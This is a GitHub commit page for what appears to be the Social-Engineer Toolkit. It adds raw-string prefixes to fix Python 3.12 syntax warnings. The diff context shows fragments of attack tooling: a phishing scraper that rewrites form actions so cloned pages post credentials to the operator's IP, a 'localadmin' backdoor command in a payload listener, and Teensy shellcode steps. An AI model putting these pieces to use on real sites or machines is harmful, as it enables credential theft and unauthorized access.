Skip to content

Commit

Permalink
Fix various Python 3.12 SyntaxWarning
Browse files Browse the repository at this point in the history
  • Loading branch information
elboulangero committed Sep 16, 2024
1 parent cd9ec9d commit a47a5bf
Show file tree
Hide file tree
Showing 9 changed files with 16 additions and 15 deletions.
4 changes: 2 additions & 2 deletions modules/google_analytics_attack.py
Original file line number Diff line number Diff line change
Expand Up @@ -71,7 +71,7 @@ def send_spoof(params):
### auto_params - makes request to target site, regexes for params
def auto_params(url):
try: #parses URL for host and page
m = re.search('(https?:\/\/(.*?))\/(.*)',url)
m = re.search(r'(https?:\/\/(.*?))\/(.*)',url)
host = str(m.group(1))
page = "/" + str(m.group(3))
except:
Expand All @@ -83,7 +83,7 @@ def auto_params(url):
print("\n[-] Unable to reach target website for parsing.\n")
sys.exit()
try: #parses target webpage for title
m = re.search('<title>(.*)<\/title>', r.text)
m = re.search(r'<title>(.*)<\/title>', r.text)
page_title = str(m.group(1))
except:
print("\n[-] Unable to parse target page for title.\n")
Expand Down
2 changes: 1 addition & 1 deletion src/core/fasttrack.py
Original file line number Diff line number Diff line change
Expand Up @@ -417,7 +417,7 @@
#
#
if attack_vector == "5":
print (""".______ __ _______ _______ .__ __. __ __ .___ ___.
print (r""".______ __ _______ _______ .__ __. __ __ .___ ___.
| _ \ | | | \ | ____|| \ | | | | | | | \/ |
| |_) | | | | .--. | | |__ | \| | | | | | | \ / |
| / | | | | | | | __| | . ` | | | | | | |\/| |
Expand Down
4 changes: 2 additions & 2 deletions src/core/setcore.py
Original file line number Diff line number Diff line change
Expand Up @@ -1365,7 +1365,7 @@ def kill_proc(port, flag):
proc = subprocess.Popen("netstat -antp | grep '%s'" %
(port), shell=True, stdout=subprocess.PIPE)
stdout_value = proc.communicate()[0]
a = re.search("\d+/%s" % (flag), stdout_value)
a = re.search(r"\d+/%s" % (flag), stdout_value)
if a:
b = a.group()
b = b.replace("/%s" % (flag), "")
Expand Down Expand Up @@ -1803,7 +1803,7 @@ def printCIDR(c):

def validateCIDRBlock(b):
# appropriate format for CIDR block ($prefix/$subnet)
p = re.compile("^([0-9]{1,3}\.){0,3}[0-9]{1,3}(/[0-9]{1,2}){1}$")
p = re.compile(r"^([0-9]{1,3}\.){0,3}[0-9]{1,3}(/[0-9]{1,2}){1}$")
if not p.match(b):
return False
# extract prefix and subnet size
Expand Down
2 changes: 1 addition & 1 deletion src/fasttrack/ridenum.py
Original file line number Diff line number Diff line change
Expand Up @@ -32,7 +32,7 @@


def usage():
print("""
print(r"""
.______ __ _______ _______ .__ __. __ __ .___ ___.
| _ \ | | | \ | ____|| \ | | | | | | | \/ |
| |_) | | | | .--. | | |__ | \| | | | | | | \ / |
Expand Down
2 changes: 1 addition & 1 deletion src/fasttrack/sccm/sccm_main.py
Original file line number Diff line number Diff line change
Expand Up @@ -21,7 +21,7 @@
sms_server = input("Enter the IP address or hostname of the SMS Server: ")
package_id = input("Enter the Package ID of the package you want to patch: ")

configuration = '''
configuration = r'''
# configuration file written by Dave DeSimone and Bill Readshaw
# attack vector presented at Defcon 20
# added to set 07/27/2012
Expand Down
2 changes: 1 addition & 1 deletion src/payloads/set_payloads/listener.py
Original file line number Diff line number Diff line change
Expand Up @@ -391,7 +391,7 @@ def handle_connection(conn, addr, encryption, operating_system):
Example: reboot now""")
# if we're running under windows
if operating_system == "windows":
print("""
print(r"""
Command: localadmin <username> <password>
Explanation: adds a local admin to the system
Example: localadmin bob p@55w0rd!
Expand Down
6 changes: 3 additions & 3 deletions src/teensy/binary2teensy.py
Original file line number Diff line number Diff line change
Expand Up @@ -124,12 +124,12 @@

# except keyboardintterupts here
except KeyboardInterrupt:
print("""
print(r"""
.-. .-. . . .-. .-. .-. .-. .-. . . .-. .-. .-.
|.. |-| |\| |.. `-. | |- |( |\/| | | | )|-
`-' ` ' ' ` `-' `-' ' `-' ' ' ' ` `-' `-' `-'
disabled.\n""")

disabled.""")
print()
sys.exit("\n[!] Control-C detected. Bombing out. Later Gangster...\n\n")

print_status("Generating alpha_mixed shellcode to be injected after shellexec has been deployed on victim...")
Expand Down
5 changes: 3 additions & 2 deletions src/teensy/sd2teensy.py
Original file line number Diff line number Diff line change
Expand Up @@ -43,11 +43,12 @@
""")

# if we hit here we are good since msfvenom is installed
print("""
print(r"""
.-. .-. . . .-. .-. .-. .-. .-. . . .-. .-. .-.
|.. |-| |\| |.. `-. | |- |( |\/| | | | )|-
`-' ` ' ' ` `-' `-' ' `-' ' ' ' ` `-' `-' `-'
enabled.\n""")
enabled.""")
print()

# grab the path and filename from user
path = input(core.setprompt(["6"], "Path to the file you want deployed on the teensy SDCard"))
Expand Down
4 changes: 2 additions & 2 deletions src/webattack/harvester/scraper.py
Original file line number Diff line number Diff line change
Expand Up @@ -76,13 +76,13 @@
# web server running to post the data to your site
if ssl_flag == 'false':
line = re.sub(
'action="http?\w://[\w.\?=/&]*/', 'action="http://%s/' % (ipaddr), line)
r'action="http?\w://[\w.\?=/&]*/', 'action="http://%s/' % (ipaddr), line)
if apache_mode == "on":
line = re.sub(
'action="*"', 'action="http://%s/post.php"' % (ipaddr), line)
if ssl_flag == 'true':
line = re.sub(
'action="http?\w://[\w.\?=/&]*/', 'action="https://%s/' % (ipaddr), line)
r'action="http?\w://[\w.\?=/&]*/', 'action="https://%s/' % (ipaddr), line)
if apache_mode == "on":
line = re.sub(
'action="*"', 'action="http://%s/post.php"' % (ipaddr), line)
Expand Down

0 comments on commit a47a5bf

Please sign in to comment.